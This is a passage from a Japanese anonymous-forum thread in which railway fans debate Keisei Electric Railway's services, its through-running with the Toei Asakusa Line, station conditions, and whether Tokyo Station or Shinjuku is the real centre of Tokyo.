押上での半蔵門線・東武線乗換、三田線延長、大江戸線開業など。
東海道新幹線も品川から乗れるようになったし。

都営地下鉄の特徴として駅の照明の数が足りないな。デザイン自体はメトロと変わらないんだが。
後天井が低い駅が多い。暗く圧迫感のある雰囲気を変えるようにしないと。
施設系にはろくなスタッフがおらんのだろう。

クールビズ＆燃料節約でおｋ

深度の問題じゃまいか？駅の真上を水道管か何かが走っているとか

浅草線は通ってる場所はそこまで悪くはないが総武線と
被ってるので京成側から見ると価値が半減
独占区間からなら乗換なしで行けるというメリットがあるが、
並行区間からは誰も使わない

>>557
それでも京成が都営浅草線と乗り入れた当初は、
国鉄総武線に対して優位に立っていた。

横浜〜品川〜新橋〜船橋ってずっと一緒だね

長い目で見たら、久里浜〜成田空港って同じだね。

都営地下鉄はあの共産圏っぽい雰囲気がいいんじゃねえか
明るいだけの張りぼての営団の駅がいいなんて素人はすっこんでろ
馬込支線の雰囲気なんてたまらないよな
東京の地下鉄の駅がみんな西馬込みたいな感じだったらいいのに

もし京成が押上から半蔵門線に乗り入れていたら勝ち組の仲間入りしてたかな？軌間とかは関係無しに

長津田駅で待っていると、ホームに滑り込んでくる
快速八千代台行きを想像してしまいました。

ひとまず優等10連にしない限り渋谷には入れないと思われ。

浅草線には「○○駅から４０分」の不動産広告に使える駅が
一つもないよな

江戸橋　三原橋　新橋

都営日本橋の価値を上げるには茅場町の再開発をしないとだめだと思う。
話が頓挫していて･････。

>>567
再開発したって何も変わらないよ。多分。
汐留の再開発で果たして何が変わった？都営の新橋駅はJRよりは汐留に近いわけだが。

とりあえず浅草線や三田線の一部の駅は汚すぎ。
新宿線はまだ新しいほうだからましだけど。
本当は本八幡で新宿線と繋がったほうがどれほどマシだったか。

とにかくブラジル戦は、これが人生最後の試合という
意気込みでいかなきゃならんな。

船橋通過の新特急をつくれ。

船橋通過でもいいから、西船で停めてくれ。

スレ違いでスイマセンが、
大佐倉で、朝降りる又は夕夜乗ってくる、通勤客の
利用ってありますか？

>>561
凄いなそれｗ
営団の駅も昔は殺伐とした感じでよかった。
あの冷たい雰囲気の中に各線の色付きの輪っかが目立つ光景がよかったな。

>569
本所吾妻橋はしょんべん臭いw

本所吾妻橋の金魚はまだ元気ですか？

＞５６１
共産圏の地下鉄駅は豪華に造られてますよ。

ぜひ柴又発着の列車を設定しよう。
それなりのネームバリューあるし。
金町−柴又は昼間はピストン運行で。６連発着できないので。
そもそも京成は柴又までだった訳だし。

柴又が島式ホームだったらそれもまあ仕方なく、という可能性も
雀の涙ほどはあったんだろうけど。

金町線の昼間２０分に一本は、都内を走る電車の中では、少なすぎ。

>>580
それでも立ち客少々程度ですが…

>>581
せめて１０分に一本は、欲しい。

以前に京成が汐留にホテルを建てるらしいとの書き込みがあったけど、
どうやら、汐留にビルを建てるのは本当らしいね。
開発の規模はどれくらいか知らないが、昨年度の京成の営業報告書のなかに
さらっと「汐留開発に着手」との記述がある。

自社沿線に魅力的な開発地が少ないとはいえ、なぜ沿線に投資をしないのか･･･

>>583
一応乗入れ先の都営浅草線沿線だから
沿線ということにはなると思う。

>>580
北総線の新柴又駅も同様ですから

>>583
建設新聞の件って本当だったの?だって相手が竹中だから誤植だといっていたのに。
調べたら帝都の土地を使うのか。しかし竹中はめずらしいな。
>>583
だから厨房はといったところ。都心回帰の時代マンションも県内は押さえるのは当然。
むしろ都内マンション、県内戸建の戦略は至極堅実。

沿線への波及効果は確かに疑問ではあるが
京成が汐留にホテルというのは興奮を覚えるなｗ

それでも文学・歴史ﾌｧﾝ(ｵﾀｸを自称できるほど造詣が深くない）の俺には
充分魅力的な沿線。

金町〜柴又は廃止してそのかわり柴又８連入れるようにしよう。

金町線は、水元あたりまで延伸したら、結構、利用者いそうだけどな。

>>517 金町による制約じゃなくて、都営による制約。
浅草線直通を開始した頃の昼間は、
都が６分毎で金町線も本線も１８分サイクルだった。

京成は都心が上野と押上に分岐しているので、優等の本数を数多くしたい。
かといって自転車や徒歩との対抗上、普通列車の本数を１０分毎より減らすこともできない。
組合の反発もあり現状の１時間１２往復を超える本数の設定ができないとなれば、
１時間あたり優等６・普通６にせざるをえない。

優等は上野発と押上発が交互だと便利そう→２０分サイクル、という流れと思う。
優等を上野・西馬込・羽田などというサイクルとして３０分サイクルにすることも可能と思われ。
#　北総と京急Ａ快特は２０分サイクルなので、厳密には最小公倍数の６０分サイクル。

>>591
詳しいことは知らんが組合ってどこまで怠慢なんだ、と思った

>>592 京成はダイヤ改正でどこかの本数が増えると代わりにどこかの本数が減るね。
過去のさまざまなチョットした改善の裏で減らされた午前中の千葉線は未だに1時間５本の時間帯が orz.
組合が悪いんじゃなくて、本数増やして乗務時間が増えるんだったら給与と職員を増やして対応すべきこと→会社が悪いと思うけどなあ。
組合云々で思い当たる制約は「終電２５時までルール」。大久保実籾カワイソウス。

やはり千葉県がからむ鉄道はロクなのがないｗ

>>594
お互い様じゃんｗｗ

>>590
ほとんど金町で乗り換える悪寒

都営線内の駅を通過する列車倍増希望。(通勤時間帯を除く全時間帯で)
新宿線岩本町みたいに連絡できる駅を作ることができれば夢でもないが。

私鉄の中で京成叩きスレだけないのが寂しいよな

その分、キリ番ゲッターがウザス

>>565
日本橋があるじゃん。あと東銀座。

ただ都営浅草線の日本橋は、中央通でなくて、昭和通なのがマイナス。

都営の駅はそんなんばっかし

都営の日本橋は西茅場町と言ってもいい位置だからな

日本橋一丁目
江戸橋

名乗ればいいんです。
日本橋まで○○分

>>604
日本橋はまだいいけど、東銀座は格落ちという感じがするね。

京成は、新宿・渋谷・池袋のような有力な
ターミナルが無いのも痛いところだね。

京成新宿駅実現を！

>>607
新宿より丸の内（東京駅）のほうが有力なターミナルだね。
確か京成は、日比谷への路線許可を取得しているはず。
失効したかもしれないが。

それが現・浅草線の免許だったような

>>609
そうでしたか。
京浜急行も戦前品川から銀座線に乗り入れる予定だったけど、五島慶太の
横やりで渋谷に変更になってしまった。戦後都営浅草線との直通運転で
都心乗り入れを果たすことが出来た。

>>604
日本橋、新橋だな。

浅草線日本橋は江戸橋がふさわしいよ

新東京タワー

>>610
別に俺は秋庭峻の回し者じゃないが、
地下鉄路線図の新橋辺りを見ると、面白いんだよな。

>>610
まさに強盗慶太ですな。

>>512
東日本橋が江戸橋になるのは構わないが、日本橋の改称はヤメレ

都庁が新宿にある限り新宿厨は消えません。
俺は渋谷厨だが。

都庁は丸の内に戻せば良い。多摩が文句を言ったら、東京都から追い出せば良い。

都庁が新宿に移っても東京の中心は、変わらないよ。
丸の内・日本橋が東京の中心だよ。

>>619
京成ファンだったらそう思いたい気持ちも分かるが、
日本橋とか丸の内ってどうしても年配層向けの地味な町という気がする。
若者が日本橋とかいってもあまり相手にされなさそうだし、
若者も新宿とか渋谷とか西側の町を好むよね。
日本橋・丸の内からしたらそれで結構と思っているのかもしれないけど、
それでは間違いなく先細りなんだよね。
都心とはいえそんなところを走っている京成も難儀だなあ。

>>620
言っておくけど、新宿は現在地盤沈下中なんだけどね。今は、若い人が
丸の内や日本橋に戻ってきているんだけどね。丸ビルやコレドが出来た
おかげだけれど。

>>621
そんな主張は初耳だな。
つうか、完全にネタで言っているとしか聞こえないが。

池袋、新宿、渋谷と集客力のある駅も良いけどいっそ埼玉方面に延ばすのもいいんでねぇかぃ？どうせ山手線周辺はJRには勝てん

丸の内はともかく日本橋は斜陽な感が否めない
まあ丸の内を通ろうが日本橋を通ろうが総武線と東西線に負けるから
客数は変わらないけど

丸ビルは、田舎からの東京見物客で賑わっているが、コレドは大したことない。
若者は圧倒的に池袋、新宿、渋谷だ。
上野は意外に若者は多いけどね。

感覚的にいって、
丸ビルとかコレドとかいった再開発ビルは、
東京ウォーカー片手の観光客向けかと。
再開発ビルってどれも同じ内容でつまらないよ。
入っているテナントも見た目きれいなばかりで、中身は薄っぺらいし。
上野、浅草あたりもおのぼりさん率高そう。

>>622
オフィス需要は、新宿から丸の内・汐留に移っているよ。

>>624
日本橋は、これからだよ。三越のあたりも再開発が進んでいるから。

しかし、なんだかよく分からんが、
このスレを読む限り、
京成が再び盛り返してくるような感じがするのは気のせいか？

>>629
京成は、安定経営が望めそうな気がするね。お客が増えない代わりに
大きな鉄道投資をする必要性が無いからね。

基本的に、京成シンパの書き込みが多いからな。
一般的に、京成はあまり叩かれない私鉄だし。

>>630
新高速は大きな鉄道投資じゃないの？

実際大成建設も本社を新宿から汐留に移転するからね。
オフィス需要を考えると新宿は、斜陽化傾向に向かって
いると言えると思うけど。

>>632
第３セクターでしょう。京成だけの負担じゃないから特別
大きな負担にならないじゃないの。

>>633
しかし、新宿はまだまだ再開発可能だと思うよ。
西新宿にはまだ一軒家が密集しているところがあるから、あのあたりが今後変わっていくと思うね。
また巻き返すと思う。
俺は、別に新宿シンパでもないけど。

今日の日経、筆頭株主の社長が、京成社長に
「新東京タワーには期待してます」とだけ言い添えた。と。
押上偏重で良くなっていくことでしょう。おけいせい。

>>635
もう新宿の大規模開発は、無いでしょう。バブルも今後起きないだろうし、
都心の大規模再開発も進んでいるから。このことを考えると京成が汐留
再開発に加担するのは、懸命の策だと思うよ。今後大成建設と京成電鉄が
提携することも考えられると思う。

日本橋や銀座はいいが、遠回りすぎる。

>>638
それが京成にとってネックだね。

>>637
京成グループと大成グループといえば大成輸送→船橋バス

中高年向けの街を無礼るなと言っておこう。
今の時代、少子化で先細るばかりの青二才層の需要より、
50代以上のシルバー層の方を向くのがむしろイイ。
新宿？　渋谷？　知るかボケ！　時代は押上よ、浅草よ、日本橋よ！
今は新宿や渋谷にしがみついてる奴等も、歳取りゃ志向は渋い方に変わるんだから。

そして、そんなシルバー層にオススメなのが京成電鉄。
空いてるから総武線より快適。体力奪われない。これ！

>>640
大成建設と京成電鉄は、昔から関係が深い。大成建設が千葉に多くの土地を
持っていたことと関係があると思うけど。因みに有楽土地の本社は、都営
浅草線宝町駅のすぐそば。

>>641
その論理から言えば、京成は、柴又、成田を持っているのが強い。

>>619->>641
新宿は南口関係の開発がおわったから、
当面は大きな案件はないかと思う。
池袋は、東池袋関係がまだ残ってるし、
渋谷は、東横線渋谷駅跡地再開発が残ってるので、まだ増えそう。

丸の内はいい感じで復調してきている。なんだかんだいって都心は強い。
オフィス関係に関しては明らかに巻き返してるし。
汐留・品川もかなりいい感じになってる。交通の便がいいのはやはり強い。

問題は日本橋。日本橋は三井不動産関係が必死に再開発してるけど、
はっきりいって一番斜陽化してる。
交通が微妙に不便なのに加え、街としての特色が無いのがきついところ。

銀座（ショッピング）
浅草・台場（観光）
霞ヶ関（官庁街）
上野（文教）
神保町（書店街）
秋葉原（ヲタ）
巣鴨（じじばば）
日本橋の特徴がないのが痛い。

日本橋は地権者が多すぎてねぇ。それは上野もだけど。

現実は新高速で空港客がちょっと増えてあとはジリ貧か
ジリ貧は他の私鉄も同じだし京成は元々客少ないから
減ってもあんまり分からなそうだがｗ

>>644
日本橋は、東京駅の目の前でどこが交通不便なんだ。
それに日本橋は、三越、山本山や丸善などの老舗が多いんじゃん。
あと三井住友海上本社ビルも建設中だよ。
どういう意味で斜陽化なのかわからない。

京成は、国府台から京成八幡まで高級住宅地だけれど、沿線の住民は
あまり利用しない。ただ沿線は、大学や高校が多いから学生の利用が
多い。このあたりは、首都圏でも有数の文教地区。

>>647
しかしねえ、実際に日本橋逝ってみると分かるのだが、人が少ないんだよ。
そりゃあ、地方都市に比べれば多いんだが、東京の中ではマイナーなんだな。
中央通はまだマシだが、裏の通りに入ったら寂しいぜ。
三越単体、高島屋単体なら人はいるが、人の流れ、街の賑わいがない。
ビジネスで言っても、何となく遅れた感じだな。
しかし、確かに東京の商業の中心だったし、老舗は多いので、大事にしたい気持ちはよく分かる。

>>649
日本橋は、繁華街というよりオフィス街だからね。
それに日本橋は、丸の内・大手町と並ぶ日本経済の中心地だから。

でも正直丸の内には大きく水を開けられてしまったな

>>651
それは、言えてる。
京成の話に戻すと上野・押上から京成船橋までは、学生の需要が多いから
今後少子化が進むから学生定期の売り上げが減るだろうな。

>>635
歌舞伎町マンハッタン計画ってもうなくなっちゃったの？

>>645
丸の内は三菱地所がほとんど土地をもっているから、
そこはやっぱり強いよな。

>>652
学生が減るのは痛そうだな。
京成の空いている区間（船橋〜高砂、上野線）や、
ラッシュと逆方向を使ってくれる乗客が減るのは痛い。

>>645
中途半端に昔から人が住んでいるから再開発の話がまとまりにくいのが難点。
高島屋周りはこれから面白いことが起きるんだが。

>>655
> >>645

> 高島屋周りはこれから面白いことが起きるんだが。

スレ違いだがｋｗｓｋ

>>652
しかし、学生定期って割引率高杉だから、会社としては学生客の割合が
減ってくれた方がむしろいいんじゃない？

乗客の総数が変わらずに学生客の割合だけが減るならそれでもいいけどね。
しかし実際には総数も減って減収減益になってしまうだろうな。

通学定期の学生が社会人になっても通勤定期で京成を利用してくれればｳﾏｰなんだけどね。

京成とって、羽田拡張に伴う国際線増便は経営リスクだよね。押上再開発は社運賭けて行なう必要。京急は羽田拡張ににらんで横浜にオフィスビル建設や日生からホテル取得と周辺ビジネスを活発化。スレ違いスマソ。

京成の乗客が減る代わりに京急の乗客が増えるのか

一番打撃でかいのはNEXのJR束だろうけどな。

>>649
日本橋は言わばザ東京で江戸・東京そのものだったから逆に特徴がないんだよね。
老舗はあまりにおなじみ過ぎるし新しいものを作ると古いイメージが邪魔する。
例えば歴史的には銀座なんか本来日本橋より格下だけど
だからこそ銀座はバタ臭さをずっとウリにし続けて今の地位を築けた。

男ばっか？のこのスレだとなめられてるが京成沿線で力があるのはやはり上野。
衣料品や輸入化粧品が安く買えるアメ横周辺と丸井が上手く使い分けられているし
ABABもあまり華がないながら地味にがんがってる。
現状でも結構混雑してるがティーンからばあさんまで集める力は伊達ではない。

単純な話電車が遅くて高いので京成沿線からは敬遠されるのであって
便利になったら現状の上野のままでももっと引っ張れる。

>>659
京成の市川市内の駅は、私学が多いために
沿線外の利用客が多いからその可能性は、
低いと思う。

>>663
国府台なんかは特にね

田園都市線の賑わいは凄いな。
これが京成だったら・・・萌えもんだった

俺も今日押上から半蔵門線にのって渋谷に行ったんだけど、
通勤ラッシュでもないのに、田園都市線からすごい人が降りてきたのには
本当にたまげたよ

>>666
船橋も結構人通り多いじゃん。渋谷に比べたら大したことないけどさ。

田都渋谷はホント狭いから余計に混んでいるように見える。
ダイア的に上下同時に着く事が多いしあそこの駅。

>>660
＞押上再開発は社運賭けて行なう必要
馬鹿丸出し。所有地面積を考えれば東武にお付き合い程度。
＞日生からホテル取得と周辺ビジネスを活発化。
京急のホテル事業はぼろぼろなのは業界で有名。千葉など大失態。知らない厨房の知ったかは面白い。

アド街押上かよ

>>666
逆に言えば土日・日中はメトロは利用されないんだよな。ラッシュは
直通客は多いんだが。結局別運賃はらってまでいく利用者は通勤以外
はそれほどいないということだ。京成は上野を有効活用したほうが
いいよ。あの界隈の潜在力は高いと思う。

阪急阪神みたいに、東武と京成の統合…ありえないか…

>>672
それは嫌だな。

京成と京急はないかな・・・
直通割引次第では統合なくてもかなりの相乗効果あるかも。
現行だと

京成八幡〜羽田空港　890円＞本八幡〜（ＪＲ）〜品川〜羽田空港　780円
京成船橋〜羽田空港　950円＞船橋〜（ＪＲ）〜品川〜羽田空港　850円
京成津田沼〜羽田空港　1000円＞津田沼〜（ＪＲ）〜品川〜羽田空港　940円
京成千葉〜羽田空港　1160円＞千葉〜（ＪＲ＋ﾄﾄﾛ）〜日本橋〜羽田空港　1100円

ﾈｯﾄ検索で最安出せれば利用は増えそうだが

東武となら吸収されてしまうだろ・・
北総となら吸収できる

東武成田線・・・東武千葉線・・・東武柴又線・・・東武押上線・・・・・

>>674
大京急になって２１００形が走り回るようになればいいのにな

>>672
仲悪いことで有名なのに。

阪神と阪急は仲よかったんでしょうか…

東上厨の他に京成厨まで現れるのか？マジやめて

>>679
合理的な理由が見つかりませんが････

>>678
労働組合は仲良しだけどね

http://www.geocities.jp/hinofukin/tetujin90/keisei90/k11/index.htm

総武線で千葉を訪れた他県の知人が、
街中を散策中に京成の駅や線路を見て、
「京成って随分とノンビリしてるんですねぇ…」とつぶやいた。

>>684
そののんびりしているところが、
京成の最大の売りだと個人的には思う。
そして、そんな4両編成の田舎電車が
成田空港という世界への窓口だというこのギャップがたまらない。

>>685
関西の南海も京成と似た雰囲気があるんじゃないの。
今や南海がプロ野球チームを持っていたことを
知らない人も増えたけどね。

京成は、鉄道事業が大手私鉄の中で小さい部類に入るけど、
自動車事業が大手私鉄の中で大きな部類に入るよ。
近年は、自動車事業の分社化が進んでいるからどれほどの
売上高になっているのか知らないけど。

ウィキペディアに書いてあったことなんだけど、
京成は最近まで運輸官僚に経営を支配されていて、
事実上の国有化状態にあったらしいね。
なんとなくわかる気がするが。

>>685
南海なんば駅の、あの巨大で立派なターミナルを実際に見たら、
南海が京成に似てる…なんて考えは吹き飛んでしまう。
9面8線の駅構内から出発して複々線上を走る景観は、関東人を圧倒する。
あのラピート専用ホームにｽｶｲﾗｲﾅｰが入線したら、絵になるだろうなぁ。

やっぱﾀｰﾐﾅﾙの差だろうね
梅田≒東京、難波≒新宿と乱暴に例えたとしても
どちらにも接続していない京成はやはりﾏｲﾅｰ私鉄。

2015年になったら赤電も引退し終わって、3700形兄弟が本線に集結して、
上野線と北総と新高速は3000形と7500形と新AEだけになるのかなあ。

京急よりも先に抵抗制御車を全廃できるのだろうか。

>>691
その頃には4連の3500形更新車の後継車も出現してるのかな…

>>689
京成上野線も、金だけなら、おそらく負けない位
掛かってるはず。

昭和初期に、「上野公園の木を1本も枯らさぬ事」
を条件に地下駅を建設しただけでも、超絶技術。
それと、日暮里−青砥間の高架区間も、
隅田川と荒川に挟まれた軟弱地盤で相当苦労している。

どっちも、地味な高度技術なので、利用者には理解されない。
ただのカーブが多くて遅くて揺れる電車。

京成押上駅の隣接に新東京タワーができるので再開発が期待できます かなり古い京成本社や東武本社の建物も立て替えればいいのに

>>674-675>>677
京急＋浅草線＋京成＋新京成＋北総が理想

>>684-685
大手私鉄の一角をなすが、実態は巨大なローカル私鉄？

>>687
>自動車事業

グループ各社も含めたバスがJR駅に発着する客で稼ぎを上げているのは何とも皮肉。
高速バスへの積極的な進出も目立つ。

新高速ができたら高砂以東の本線は正真正銘のローカル線だな
西武新宿線に次ぐ巨大ローカル線

>696 津田沼高砂間が千葉線になったと思えば何ともないぜ

>>696
スカイライナーが走らなくなるので、ダイヤ上の制約がなくなり、電車が便利になる。

>>698
それなのに何故かランダムダイヤにする。それが京成クオリティ。

700阻止。

>>689
過去の話でしょう。それに関東の私鉄は、
自前のビルを持っていないからね。
東武浅草駅ぐらいじゃないの。

>>695
芝山は放置か？

>>702
廃止→マイクロバスでも十分すぎる。

>>696
ローカル線というか平行在来線だ罠
>>703
空港関係の施設の一部を芝山周辺に移したり空港勤務者を呼び込んで
臨空都市化できないかねえ・・・。＞芝山
あと成田止めのＭ・Ｅライナーを芝山千代田に延長。…どうみても空気輸送です本当に（ｒｙ

日暮里駅で工事中のエレベーター、「7月下旬使用開始予定」という文字が、
ワザワザ消されてた。工事が難航してるのかな。
新駅舎の鉄骨組み上げるのに出口改札のところの事務室は邪魔だから、
いずれ撤去→改札機も移設になるんだろうけど、
なんだか日暮里の改良工事も簡単ではなさそうで大変だよね・・・

正直、工事中の日暮里はエスカレーター削られるし、
待合室は撤去されるだろうし、なんだか汚いし安全面で不安だし、
（階段の裏がむき出しになってたり、鉄骨が間引かれたりしてる）
これで空港利用客の京成離れが起きなきゃいいけどね・・・

>>704
はにわ台団地の惨状。

芝山の延長きぼんぬ

将来は銚子まで延長しる！



って沿線に看板があるね

蓮沼じゃないの？

>>690
つ東急京急東武
西武歌舞伎町を新宿と認めないなら、西武もｗ

つか、東京駅に乗り入れてる私鉄ってどこだよ？ｗｗｗ

めとろ

>>710
マジレスすると、伊豆急？

東海だろ

新宿＝梅田、池袋＝難波だろう。梅田は大阪の中心じゃないから
東京の中心である東京駅とは、違うだろう。実際大阪の中心は、
本町だから。

成田空港万歳

>>644
日本橋はビジネス街の方がずっと比重が大きい。

>>689
南海の難波駅は、以前のドーム屋根は趣があった。
今は普通のターミナルという感じ。
さすがに規模は大きいけど。

東京に乗り入れてる会社って、東日本旅客鉄道株式会社とか東海旅客鉄道株式会社が大きいところだな。

大阪の中心本町って知ってるの関西人でもごく一部だろうな

関東人（と地方モン）は梅田or難波が中心って思ってるに100ドル

えっ大坂の中心って大坂駅じゃないの？
何梅田、難波って

それじゃ、大阪の中心は、新大阪ってことにしよう。

大阪の中心は御堂筋というべき。
だから御堂筋線の梅田駅、淀屋橋駅、本町駅、心斎橋駅、難波駅のどれも中心だ。
機能が分散しているのだからどれか一つに決める意味などない。
ちなみにJR大阪駅と梅田駅はほぼ同一駅と考えて間違いない。
京成に話を戻せば京橋止まりの京阪本線、新今宮駅止まりの南海本線みたいな中途半端なイメージ。
環状線（山手線）にはばまれて都心にターミナルを作れなかったような感じ。
今は常磐線も上野駅がターミナルだが東北縦貫線が出来れば、いよいよ置いてきぼり感が深まるな。

大阪の中心で愛を叫ぶ
絶賛放映中！

大佐倉の中心で特急停車を叫ぶ

「特急成田空港行きです、途中大佐倉で空気の入れ換えのため停車致します」でOK？

博物館動物園駅跡の中心で「助けてください！助けてください！」

>>721
梅田は、都心の拡大地域という感じだな。やっぱ大阪の本来の中心は、
地下鉄駅でいうと淀屋橋・本町・心斎橋というとこだろうね。難波も
梅田同様都心の拡大地域だろうな。

明治初期の大阪は、堂島あたりまでが市街地で、
梅田が完全な町外れだったみたいだよ。

＞梅田が完全な町外れだったみたいだよ。
だからあれほどの駅をつくる土地が確保できたんだな。
東京なら新宿も然り。

その点、上野も浅草も古くからの街。
ＪＲの上野こそ「北の玄関」として大きい駅だが、
元々の街＆山＆池という制約の中で作られた京成は・・・orz

上野は再開発でもしないとダメか？

>>728
東京駅は、江戸時代からの中心地だよ。丸の内は、練兵場が世田谷に
移って、空き地になった。そのあと三菱が国から払い下げられた土地を
購入して、日本を代表するオフィス街になった。東京駅は、皇居の
玄関駅としてあるいは、ビジネス街の玄関駅として建設された。
京成の話に戻すと上野より船橋の再開発に力をいれたほうがいいん
じゃないか。高架化でテナントも結構入りそうな感じだから。

確かに年寄りに言わせれば新宿も田舎だし、
何故あそこに都庁が？っていまだに違和感覚える老人も多いらしい。

>>730
自分は、年寄りじゃないけど、新宿に都庁があることに違和感覚えるね。
ただ都庁が新宿に移っても東京の本来の中心地が東京駅周辺でかわりない
からね。逆に田舎ものは、新宿を中心だと思っているみたいだけれど。
ただ新宿を東京の中心と言うと小学生に笑われるような気がするけどね。

市販の東京の地図（本）で第１ページが新宿から始まっているものが多い。
好き嫌いに関わらず、今はそういう風潮があるな。

>>732
それでも東京駅周辺が中心だろう。ただ新宿駅は、いろいろな鉄道が
集まっているからね。景色を見れば東京駅のほうが中心だとわかり
そうなものだけどね。

>>732
ＪＲ中央線や丸の内線に乗れば新宿駅より東京駅のほうが中心であることが
一目瞭然なんだけどね。ただ京成は、有力なターミナルが無いのが痛い。
上野や浅草は、衰退気味だからね。錦糸町も少し離れているし。

東京の西進を嘆くのもほどほどに。
>>729
船橋逸走を逆手に取るってわけか。
考えてみれば既に結構賑わってるわけだし
都内から逆方向の客を掘り起こせたら面白いんだがな。

役所なんて行くのに便利でさえあれば町の中心にある必要なんてない。
23区外からだとピンポイントで新宿が便利な立地だが、23区内からなら
有楽町だろうが新宿だろうが大差ないわけで。葛飾や足立からでも、ね。

>>735
別に嘆いてはいないけど、新宿が中心という間違った考えが許せない
だけだよ。新宿が中心と言うことになると横浜駅も東京の中心という
ことになるよ。横浜駅周辺は、新宿や池袋みたいな感じだからね。

貧乏人も、負けず嫌いは、いっちょまえ

>>738
別に貧乏人じゃないけど。ただね新宿は、東京の中心じゃないよ。
東京都も新宿を副都心にして正式に認定しているよ。あと上野が副都心と
して西の３つの副都心と比べて発展しなかったのは、東京駅まで近すぎる
こともあると思う。

北千住通ってたらまだ状況は良かっただろうね

格はともかく、量的には新宿渋谷池袋にはかなわないからなあ。

鉄道の利点は量を捌くことにあることを考え合わせると、
朝から晩まで流動のある山手線西側の現状のほうが
鉄道会社にとってうれしいことは間違いないし、
そういう視点からの中心が新宿にあることは間違いない。

なので船橋乗り換えの人にちょっと用足ししてもらえるような気分になってもらえる
仕掛けから発想するのはなかなかいいスジじゃないかと思われ。
他にも乗換駅には可能性が埋まっていると。

>>741
あのね、山手線東側・京浜東北線のほうが山手線西側に比べて圧倒的に
輸送量が多いよ。それ以外に並行する地下鉄も走っているし。
朝ラッシュ時は、もちろん東側が圧倒的に多いよ。ただ東側には、池袋・
新宿・池袋のような巨大なターミナル駅が東京駅以外に無いからそう感じ
るのかもしれない。京成は、西側の３つの駅のような巨大なターミナルを
持たないことがネックになっていると言えるけどね。

東側派：仕事、平日中心で考えてる奴
西側派：遊び、休日中心で考えてる奴

だから議論が噛みあわない

外国人向けの案内をもう少し改良した方がよいと思う。
パンフレットや掲示板などの方式で、英・独・仏・伊・西・露・中・
韓・アラビア語の案内が各主要駅に用意されていたら外国人には親切。
(関空の南海の案内所でその種のパンフレットを見た)
欧州には、英語は通じないが独仏語なら通じる国が数多くあるので、
独仏語の表示があると実は好印象だと外国人の先生が言ってた。
日本語を英語に直訳しただけの案内サインは、かえって外国人には意味不明で
信頼されないらしい。京成の駅の英語表記にもその種の誤訳が見られるそうだ。

上野も浅草も、20年前の寂れかたに比べれば、随分復活している。
当時は、本当に年寄り(銀座にいるのと全く別種の)とホームレスだけの
街だったよ。特に浅草は。

格差が固定化してきて、妙な見栄を張らない若者が増えてきているから、
貧乏くさい街の存在意義も、重要になってきているかもよ。
俺は中年だけど、東京の西側に行くと、何もしないのに疲れる。
京成沿線に帰ってくると、本当に心地よい。

俺は東京の西側は歩くのが苦痛。
上野やアキバや神保町がやはり落ち着く

浅草と一緒にしたら上野に失礼だろ

>>744
日暮里とかの不評極まりない恥ずかしいジャパニーズ英語のアナウンスを
堂々と続けている京成には望んでも仕方がないことだと思うけどね。
京成には日本の玄関へのアクセス路線としての自覚が本当に欠如している。

しかも沿線住民以外にも利用される機会（しかも旅行とかの楽しい雰囲気）が多いから、
うまくやれば世間的イメージを上げることができるハズなのに、
空間作りがあまりにもお粗末で安っぽいから逆に「だから京成は・・・」と思われてしまう。
日暮里の改良、せっかくやるなら空港を思わせる格調高い雰囲気を出すか、
外国人や旅行帰りの日本人が「日本」を感じるような和の雰囲気を出して欲しい気がする。

>>745
復活してる割には上野線の客数が右肩下がりな件について
まあ優等毎時3本じゃ総武線並行区間からは秋葉原で
乗り換えて行っちゃうかなあ

>>749
浅草だって、押上経由より浅草橋経由の方が安い場合が
多いんじゃないかな。どっちにしても都営の運賃が
丸々加算されるから。

京成は、短距離客と空港輸送に特化するのが吉、という
当たり前の結論に、又ループしてみることに。

荒川区内・葛飾区内・千葉市内専用サンダル履きエプロン着用
でも乗れる電車。元々が「電気軌道」だしね。

朝とか西側いったことないけど、東側南は品川から空くらしく、普通に座れるよ

汐留に作るのはホテル？マンション？

>>752
ampmと言ってみる

>>748
例えば、木目調の内装とか？

船橋は、千葉の池袋。西武百貨店と東武百貨店があり、東武鉄道とＪＲが
ある。京成を西武と見立てれば正しく池袋。それにピンク映画館と風俗店も
あるのも共通点。船橋の庶民的な雰囲気は、正しく池袋と一緒。

京成船橋は、単なる郊外の駅というより、池袋・新宿のような都心と郊外の
結節点となる副都心型の駅。京成船橋駅と最も性格が似ているのは、西武
新宿線の高田馬場駅。

高田馬場は日暮里だろ

じゃあ西武新宿≒京成上野？
本家駅から地味に遠い点では似てるね

高田馬場と日暮里は、ＪＲではそれほど重要な駅でないのが似てる。
両方特急も止まるのに

>>705
超亀レスで恥ずかしいんだが、日暮里の工事中エレベーターって、
まさかシン○ラー製の予定だったんじゃ無いよな。

>>757
乗降客数の多さで考えると高田馬場＝京成船橋

>>745
貧乏臭い街といえば、新宿、中野、豊島区あたりだな。神田川のフォークソングさながらの
ボロアパートがいっぱい。

あと日暮里だと都心まで遠回りになるからやっぱり不便だね。
高田馬場は、東西線開通のおかげで都心までの短絡ルートが
出来て便利になったけどね。

>>761
京成船橋も全然多くないんだけど
京成船橋と日暮里が8万人台、西武高田馬場は28万
京成船橋はまあ、やや規模の大きい山陽明石だね

>>764
そんなに多くないのだね。ただ都心まで日暮里乗換えだと遠回りになるから
どうしても京成船橋乗換えが中心になるだろうね。京成は、最混雑区間が
都心から遠い位置にあるから高齢化による労働人口の減少の影響をもろに
受けそうだね。

数年前の京成のWebサイトはすごかったよね。
今は大分きれいになったけど。
でも、この辺のページなんかはどうかなという気もするのだけど。
ttp://www.ec.keisei.co.jp/w/

手作り感があるのはいいんだけどね。
絵もかわいいし。

どうせなら船橋の高架化の際にJRと接着させればよかったのに、ついでに八幡も

>>766
そのページに限らず京成のHPはやる気が感じられないよな。
なんとなく時代遅れな雰囲気がある。ちゃんとした所に製作頼めばいいのに。
TOPページのBMKマーク左上にあるAEの絵なんて色が反転してるし。

>>768
船橋駅南口の商店街が反対しているんじゃないの。高架化のさいに
新京成の新津田沼駅とＪＲ津田沼駅の連絡切符を販売しているように
京成船橋駅とＪＲ船橋駅の連絡切符を新しく販売して欲しいのだが。

＞＞俺は中年だけど、東京の西側に行くと、何もしないのに疲れる。

禿しく同意。

俺も西側は疲れる。
息苦しい。

人が多いからだろうね

>>768
すごい昔そうだった。

>>771-773
東京の西側ほどじゃないけど、船橋駅周辺も人が多いよ。

知り合いじゃない糞みたいなのがいると疲れるよね〜
銀座には今後も来ないでほしいよ

JR東海会長の葛西さんが書いた『未完の国鉄改革』を読んで、
国鉄の労組ってこんなにひどかったのか…と驚いてしまった。
経営陣が社内の政治運動に振り回されて疲弊してゆき、惰性で仕事するだけの組織に堕落する。
